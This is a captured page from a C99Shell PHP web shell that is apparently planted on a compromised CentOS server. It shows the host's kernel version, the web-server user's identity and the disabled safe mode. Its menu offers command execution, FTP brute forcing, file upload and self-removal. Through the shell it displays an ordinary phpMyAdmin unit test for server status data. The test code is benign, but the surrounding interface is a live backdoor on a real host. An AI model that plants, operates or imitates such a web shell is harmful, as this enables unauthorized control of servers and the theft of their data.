!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/classes/   drwxr-xr-x
Free 9.18 GB of 93.48 GB (9.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PMA_ServerStatusData_test.php (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Test for PMA_ServerStatusData class
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
require_once 'libraries/Util.class.php';
require_once 
'libraries/php-gettext/gettext.inc';
require_once 
'libraries/url_generating.lib.php';
require_once 
'libraries/ServerStatusData.class.php';
require_once 
'libraries/database_interface.inc.php';

/**
 * Test for PMA_ServerStatusData class
 *
 * @package PhpMyAdmin-test
 */
class PMA_ServerStatusData_Test extends PHPUnit_Framework_TestCase
{
    
/**
     * @access protected
     */
    
protected $object;

    
/**
     * Configures global environment.
     *
     * @return void
     */
    
function setup()
    {
        
$GLOBALS['PMA_PHP_SELF'] = PMA_getenv('PHP_SELF');
        
$GLOBALS['cfg']['Server']['host'] = "::1";
        
$GLOBALS['replication_info']['master']['status'] = true;
        
$GLOBALS['replication_info']['slave']['status'] = true;
        
$GLOBALS['replication_types'] = array();

        
//Mock DBI
        
$dbi $this->getMockBuilder('PMA_DatabaseInterface')
            ->
disableOriginalConstructor()
            ->
getMock();

        
//this data is needed when PMA_ServerStatusData constructs
        
$server_status = array(
            
"Aborted_clients" => "0",
            
"Aborted_connects" => "0",
            
"Com_delete_multi" => "0",
            
"Com_create_function" => "0",
            
"Com_empty_query" => 3,
            
"Key_blocks_used" => 2,
            
"Key_writes" => true,
            
"Key_reads" => true,
            
"Key_write_requests" => 5,
            
"Key_read_requests" => 1,
            
"Threads_created" => true,
            
"Connections" => 2,
        );

        
$server_variables= array(
            
"auto_increment_increment" => "1",
            
"auto_increment_offset" => "1",
            
"automatic_sp_privileges" => "ON",
            
"back_log" => "50",
            
"big_tables" => "OFF",
            
"key_buffer_size" => 10,
        );

        
$fetchResult = array(
            array(
                
"SHOW GLOBAL STATUS",
                
0,
                
1,
                
null,
                
0,
                
$server_status
            
),
            array(
                
"SHOW GLOBAL VARIABLES",
                
0,
                
1,
                
null,
                
0,
                
$server_variables
            
),
            array(
                
"SELECT concat('Com_', variable_name), variable_value "
                    
"FROM data_dictionary.GLOBAL_STATEMENTS",
                
0,
                
1,
                
null,
                
0,
                
$server_status
            
),
        );

        
$dbi->expects($this->any())->method('fetchResult')
            ->
will($this->returnValueMap($fetchResult));

        
$GLOBALS['dbi'] = $dbi;

        
$this->object = new PMA_ServerStatusData();
    }

    
/**
     * tests getMenuHtml()
     *
     * @return void
     */
    
function testGetMenuHtml()
    {
        
$html $this->object->getMenuHtml();

        
$this->assertContains('Server'$html);
        
$this->assertContains('server_status.php'$html);

        
$this->assertContains('Processes'$html);
        
$this->assertContains('server_status_processes.php'$html);

        
$this->assertContains('Query statistics'$html);
        
$this->assertContains('server_status_queries.php'$html);

        
$this->assertContains('All status variables'$html);
        
$this->assertContains('server_status_variables.php'$html);

        
$this->assertContains('Monitor'$html);
        
$this->assertContains('server_status_monitor.php'$html);

        
$this->assertContains('Advisor'$html);
        
$this->assertContains('server_status_advisor.php'$html);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0042 ]--